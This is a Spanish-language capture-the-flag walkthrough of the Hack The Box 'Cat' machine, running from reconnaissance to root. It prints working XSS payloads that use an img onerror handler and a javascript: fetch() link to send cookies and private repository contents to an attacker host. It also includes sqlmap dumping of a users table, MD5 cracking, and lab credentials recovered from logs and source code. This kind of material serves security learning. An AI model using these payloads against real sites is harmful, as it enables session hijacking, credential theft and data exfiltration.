Descripción

Cat es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Repositorio de Git que expone el código fuente de la aplicación web
  • Secuencia de comandos en sitios cruzados en una aplicación web que permite la obtención de la sesión del administrador
  • Inyección SQL en el panel del administrador que permite la obtención de una credencial
  • Inicio de sesión en la máquina usando las credenciales
  • Cambio de usuario utilizando credenciales filtradas en el registro de acceso de Apache
  • Descubrimiento de servicio interno Gitea vulnerable a XSS almacenado
  • Escalada de privilegios al leer un credencial expuesta en un repositorio Git administrativo mediante la vulnerabilidad XSS

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.234.158.

$ ping -c 3 10.129.234.158
PING 10.129.234.158 (10.129.234.158) 56(84) bytes of data.
64 bytes from 10.129.234.158: icmp_seq=1 ttl=63 time=49.8 ms
64 bytes from 10.129.234.158: icmp_seq=2 ttl=63 time=50.1 ms
64 bytes from 10.129.234.158: icmp_seq=3 ttl=63 time=49.9 ms

--- 10.129.234.158 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 49.759/49.891/50.064/0.127 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.234.158 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.234.158
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds

Obtenemos dos puertos abiertos: 22 y 80.️

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.234.158 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.234.158
Host is up (0.050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.99 seconds

Obtenemos dos servicios: uno de Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio HTTP. Agregamos el dominio cat.htb al archivo /etc/hosts.️

$ echo '10.129.234.158 cat.htb' | sudo tee -a /etc/hosts

Encontramos una aplicación de competición de gatos en línea. Podemos registrarnos en el sitio web e iniciar sesión si hacemos clic en el botón Join. Iniciamos sesión haciendo clic en Already have an account?.️ Ahora podemos hacer clic en la pestaña Contest y tendremos la opción de enviar datos del gato para el concurso. Después de enviar los datos, encontramos que se encuentran a la espera de inspección.️ Enumerando los archivos del sitio web, encontramos un repositorio Git en el directorio .git. Lo descargamos con la herramienta git-dumper.️

$ gobuster dir -u 'http://cat.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cat.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git                 (Status: 301) [Size: 301] [--> http://cat.htb/.git/]
/.git/config          (Status: 200) [Size: 92]
/.git/index           (Status: 200) [Size: 1726]
/.git/logs/           (Status: 403) [Size: 272]

$ virtualenv .env
$ pip install git-dumper
$ git-dumper http://cat.htb/.git cat_repository

Encontramos el código fuente completo de la aplicación web de PHP.️

$ ls cat_repository                                           
accept_cat.php  config.php   css             img          index.php  logout.php    vote.php  winners.php
admin.php       contest.php  delete_cat.php  img_winners  join.php   view_cat.php  winners

Podemos ver en el archivo config.php que la aplicación web utiliza una base de datos SQLite ubicada en la ruta interna de sistema /databases.️

$ ls cat_repository
$ cat config.php 
<?php
// Database configuration
$db_file = '/databases/cat.db';

// Connect to the database
try {
    $pdo = new PDO("sqlite:$db_file");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}
?>

Al realizar una revisión de código, encontramos algunas vulnerabilidades. En primer lugar, el archivo contest.php es el controlador de la página en la que se pueden enviar los datos del gato. Encontramos en el código que todos los parámetros se verifican con una expresión regular para evitar inyecciones XSS.️

...
// Function to check for forbidden content
function contains_forbidden_content($input, $pattern) {
    return preg_match($pattern, $input);
}

// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Capture form data
    $cat_name = $_POST['cat_name'];
    $age = $_POST['age'];
    $birthdate = $_POST['birthdate'];
    $weight = $_POST['weight'];

    $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";
...

En la página de registro, register.php, se encuentra que los campos no están verificados, lo que hace posible inyectar código HTML. Los datos del usuario se almacenan en la tabla users.️

...
// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
    $username = $_GET['username'];
    $email = $_GET['email'];
    $password = md5($_GET['password']);

    $stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
    $stmt_check->execute([':username' => $username, ':email' => $email]);
    $existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);
...

Necesitamos encontrar una página donde se muestre el usuario o la dirección de correo electrónico para verificar el código. Encontramos la consola de administrador en el archivo admin.php en la que se muestra la lista de los gatos enviados y se pueden aceptar y rechazar. Un sesión se considera como administrador con el usuario axel.️

...
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}
...

Encontramos que los datos del propietario están siendo renderizados en el archivo view_cat.php, específicamente la información de usuario y no se está haciendo ningún filtrado, lo que significa que hay una vulnerabilidad XSS que nos permitirá robar su cookie si accede a la página view_cat.php.️

...
<div class="container">
    <h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
    <img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
    <div class="cat-info">
        <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
        <strong>Age:</strong> <?php echo $cat['age']; ?><br>
        <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
        <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
        <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
    </div>
</div>
...

También encontramos una vulnerabilidad de inyección de SQL en el archivo accept_cat.php, el endpoint utilizado para aceptar al gato inspeccionado. Una de las consultas, INSERT, se utiliza sin utilizar declaraciones preparadas. Como no se devuelve ninguna respuesta a la consulta, es un inyección SQL ciega utilizando el parámetro catName.️

...
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);
...

Explotación

Vamos a iniciar la explotación con la vulnerabilidad XSS. Vamos a crear una nueva cuenta con el nombre de usuario configurado como la carga útil que vamos a utilizar, en este caso un trozo de código HTML que creará una solicitud HTTP a nuestro servidor conteniendo la cookie del usuario administrador:️

<img src=x onerror=this.src="http://10.10.14.33/?cookie="+encodeURI(btoa(document.cookie))>

Después de crear la cuenta, iniciaremos nuestro escuchador HTTP y creamos un nuevo gato como lo hicimos antes.️

$ python -m http.server 80

Después de unos pocos segundos recibimos las solicitudes que contienen la cookie codificada en Base64.️

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.234.158 - - "GET /?cookie=UEhQU0VTU0lEPXZmcm5hNmJrdW1oYTAxc2w3ZzUxbWZmdW9p HTTP/1.1" 200 -

$ echo 'UEhQU0VTU0lEPXZmcm5hNmJrdW1oYTAxc2w3ZzUxbWZmdW9p' | base64 -d
PHPSESSID=vfrna6bkumha01sl7g51mffuoi

El nombre de la cookie es PHPSESSID y su valor es vfrna6bkumha01sl7g51mffuoi. Ahora podemos movernos a la sesión de administrador cambiando el valor de nuestra cookie en el navegador utilizando las herramientas de desarrollo. Después de recargar la página, tenemos una nueva pestaña llamada Admin.️ Tenemos la opción de verificar los datos del gato con el botón View, aceptar la presentación con el botón Accept y rechazar la presentación con la opción Reject. Vamos a aceptar la presentación y vamos a interceptar la solicitud HTTP al servidor con un proxy. Después de eso, vamos a guardar la solicitud en un archivo.️

$ cat add_cat_req 
POST /accept_cat.php HTTP/1.1
Host: cat.htb
Content-Length: 20
Accept-Language: es-ES,es;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://cat.htb
Referer: http://cat.htb/admin.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=vfrna6bkumha01sl7g51mffuoi
Connection: keep-alive

catName=Meow&catId=1

Encontramos que el parámetro vulnerable a la inyección de SQL catName que vimos anteriormente se está enviando. Vamos a utilizar la herramienta SQLMap para obtener los contenidos de la tabla users.️

$ sqlmap -r add_cat_req -p catName --dbms=sqlite --level=5 --risk=3 -T users --dump
...
Database: <current>
Table: users
[11 entries]
+---------+-------------------------------+----------------------------------+---------------------------------------------------------------------------------------------+
| user_id | email                         | password                         | username                                                                                    |
+---------+-------------------------------+----------------------------------+---------------------------------------------------------------------------------------------+
| 1       | axel2017@gmail.com            | d1bbba3670feb9435c9841e46e60ee2f | axel                                                                                        |
| 2       | rosamendoza485@gmail.com      | ac369922d560f17d6eeb8b2c7dec498c | rosa                                                                                        |
| 3       | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert                                                                                      |
| 4       | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian                                                                                      |
| 5       | jerrysonC343@gmail.com        | 781593e060f8d065cd7281c5ec5b4b86 | jerryson                                                                                    |
| 6       | larryP5656@gmail.com          | 1b6dce240bbfbc0905a664ad199e18f8 | larry                                                                                       |
| 7       | royer.royer2323@gmail.com     | c598f6b844a36fa7836fba0835f1f6   | royer                                                                                       |
| 8       | peterCC456@gmail.com          | e41ccefa439fc454f7eadbf1f139ed8a | peter                                                                                       |
| 9       | angel234g@gmail.com           | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel                                                                                       |
| 10      | jobert2020@gmail.com          | 88e4dceccd48820cf77b5cf6c08698ad | jobert                                                                                      |
...

Obtenemos muchos usuarios y hashes de contraseña. Podemos recuperar solo la contraseña del usuario rosa, soyunaprincesarosa.️

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hashes
Using default input encoding: UTF-8
Loaded 9 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (rosa)     
1g 0:00:00:01 DONE 0.7092g/s 10172Kp/s 10172Kc/s 83937KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

La contraseña se reutiliza para el sistema Linux, por lo que podemos iniciar sesión utilizando el protocolo SSH.️

$ ssh rosa@cat.htb                                                                 
rosa@cat.htb's password: 
...
rosa@cat:~$ whoami
rosa

Post-Explotación

Encontramos que rosa forma parte del grupo adm, lo que nos permite leer los registros de sistema.️

rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

Vamos a buscar contraseñas.️

rosa@cat:~$ grep -rni "password" /var/log
...
/var/log/apache2/access.log.1:1061:127.0.0.1 - - "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
...

Encontramos en el archivo /var/log/apache2/access.log.1 que el usuario axel está iniciando sesión en la página web con la contraseña aNdZwgC4tI9gnVXv_e3Q. La contraseña se repite para el sistema Linux, por lo que podemos iniciar sesión utilizando SSH.️

$ ssh axel@cat.htb
axel@cat.htb's password: 
...

You have mail.
axel@cat:~$ id
uid=1000(axel) gid=1000(axel) groups=1000(axel)

Cuando nos conectamos a la máquina, encontramos que tenemos correo disponible (en el archivo /var/mail/axel).️

axel@cat:~$ cat /var/mail/axel
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

En el primer correo electrónico encontramos que debemos enviar nuestro repositorio de Git a jobert@localhost y debemos incluir una “descripción clara” para ser revisada. En el segundo correo electrónico encontramos que el administrador tiene acceso al repositorio Employee-management en el servidor local de Gitea. También encontramos que el servidor está ejecutándose en el puerto 3000.️

axel@cat:~$ netstat -tulnp | grep 127
tcp        0      0 127.0.0.1:36241         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:53923         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:51815         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

Necesitamos realizar una redirección local de puertos para poder acceder al servidor de Gitea.️

$ ssh -N -L 127.0.0.1:3000:127.0.0.1:3000 rosa@cat.htb

Ahora podemos entrar en la cuenta de axel en el servidor visitando http://127.0.0.1:3000. No se encuentran repositorios.️ Encontramos que la versión 1.22.0 de Gitea se está utilizando. Esta versión es vulnerable a una vulnerabilidad de XSS almacenado en el campo de descripción del repositorio, CVE-2024-6886, lo que permite insertar enlaces con código JavaScript. Si se hace clic en el enlace, por ejemplo por parte del usuario jobert, se puede ejecutar código malicioso lo que puede llevar al robo de cookies o permitir la lectura de páginas que solo el administrador puede acceder, como el repositorio Employee-management

Vamos a utilizar esta vulnerabilidad para recuperar el archivo README.md desde la URL http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md. Vamos a crear un enlace de JavaScript que recuperará los contenidos del archivo y lo enviará a nuestro puerto abierto HTTP:️

<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md").then(response => response.text()).then(data => fetch("http://10.10.14.33/?page=" + btoa(unescape(encodeURIComponent(data)))));'>Access to Documentation</a>

Creamos un nuevo repositorio con el código HTML como descripción y lo inicializamos para crear los archivos iniciales. Este paso es importante y si no se realiza, la descripción no aparecerá.️ Después de eso regresamos a la sesión de Linux axel y enviamos un correo electrónico utilizando el herramienta sendmail a jobert.️

axel@cat:~$ echo -e 'Subject: Hello\n\nhttp://localhost:3000/axel/repo\n\n' | sendmail jobert@localhost

Después de unos pocos segundos recibimos la solicitud HTTP y la decodificamos.️

$ nc -nvlp 80  
listening on [any] 80 ...
connect to [10.10.14.33] from (UNKNOWN) [10.129.234.158] 35124
GET /?page=IyBFbXBsb3llZSBNYW5hZ2VtZW50ClNpdGUgdW5kZXIgY29uc3RydWN0aW9uLiBBdXRob3JpemVkIHVzZXI6IGFkbWluLiBObyB2aXNpYmlsaXR5IG9yIHVwZGF0ZXMgdmlzaWJsZSB0byBlbXBsb3llZXMu HTTP/1.1
Host: 10.10.14.33
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

Vamos a decodificar la cadena utilizando un código escrito en JavaScript.️

thestring = 'IyBFbXBsb3llZSBNYW5hZ2VtZW50ClNpdGUgdW5kZXIgY29uc3RydWN0aW9uLiBBdXRob3JpemVkIHVzZXI6IGFkbWluLiBObyB2aXNpYmlsaXR5IG9yIHVwZGF0ZXMgdmlzaWJsZSB0byBlbXBsb3llZXMu';
console.log(decodeURIComponent(escape(window.atob(thestring))));

# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.

Encontramos que el archivo README solo menciona que el sitio está en construcción. Vamos a enumerar los archivos del repositorio cambiando la URL de http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md a http://localhost:3000/administrator/Employee-management y repitiendo los pasos anteriores. Obtenemos el código HTML y lo guardamos en un archivo.️

...
<tr data-entryname="dashboard.php" data-ready="true" class="ready entry">
...
<tr data-entryname="index.php" data-ready="true" class="ready entry">
...
<tr data-entryname="logout.php" data-ready="true" class="ready entry">

Encontramos tres archivos .php: dashboard.php, index.php y logout.php. Vamos a revisar el archivo index.php ubicado en la ruta http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php. Recibimos el siguiente código:️

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

Obtenemos la contraseña para el usuario admin, IKw75eR0MR7CMIxhH0. Podemos pivotar a la cuenta de administrador en la máquina Linux con esta contraseña.️

axel@cat:~$ su root
Password: 
root@cat:/home/axel# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la consola de root podemos recuperar las flags user.txt y root.txt.️

root@cat:/home/axel# cat /home/axel/user.txt 
<REDACTED>
You have new mail in /var/mail/root
root@cat:/home/axel# cat /root/root.txt 
<REDACTED>